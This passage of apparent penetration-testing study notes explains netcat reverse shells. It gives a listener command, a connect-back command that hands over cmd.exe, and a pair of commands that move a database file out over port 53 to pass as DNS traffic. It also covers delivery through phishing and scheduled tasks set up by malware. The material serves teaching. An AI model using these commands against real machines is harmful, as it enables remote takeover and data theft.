* You get back a cmd prompt

Reverse Shell
* Attacker installs a listener on their own workstation and configures a listening port on their workstation
* Then, they cause the victim to create a connection request to that listener
* When they connect, the two-way comms are established and the attacker can issues commands directly to the victim’s shell or command prompt
* Even if the victim is behind a corporate firewall, reverse shells will open an outbound port for traffic destined for external IP over 443

To Set Up
nc -l -p 443

Connect to Listener
nc [IP of Attacker] 443 -e cmd.exe

How To Get Victim to Establish Connection
* Normally this done by installing malware after running an exploit for a known vulnerability
* Also done by social engineering like phishing that tricks the user into installing the malware themselves
* Once installed, malware can set up sch tasks that call to your listener every day at a certain time and remain open, or you can have it terminate when you’re not using it

Set Up Listener to Receive
nc -l -p 53 > database.sql
* Allows files to be sent over non-standard ports for file transfer to potentially hide it in DNS traffic over 53
* Then you can redirect any data received into a file called database.sql

type database.sql | nc [IP] 53
* The IP and port of the listener set up on your attack box
* Now the victim machine is typing the file over to netcat which sends to listener, and the listener writes it all to file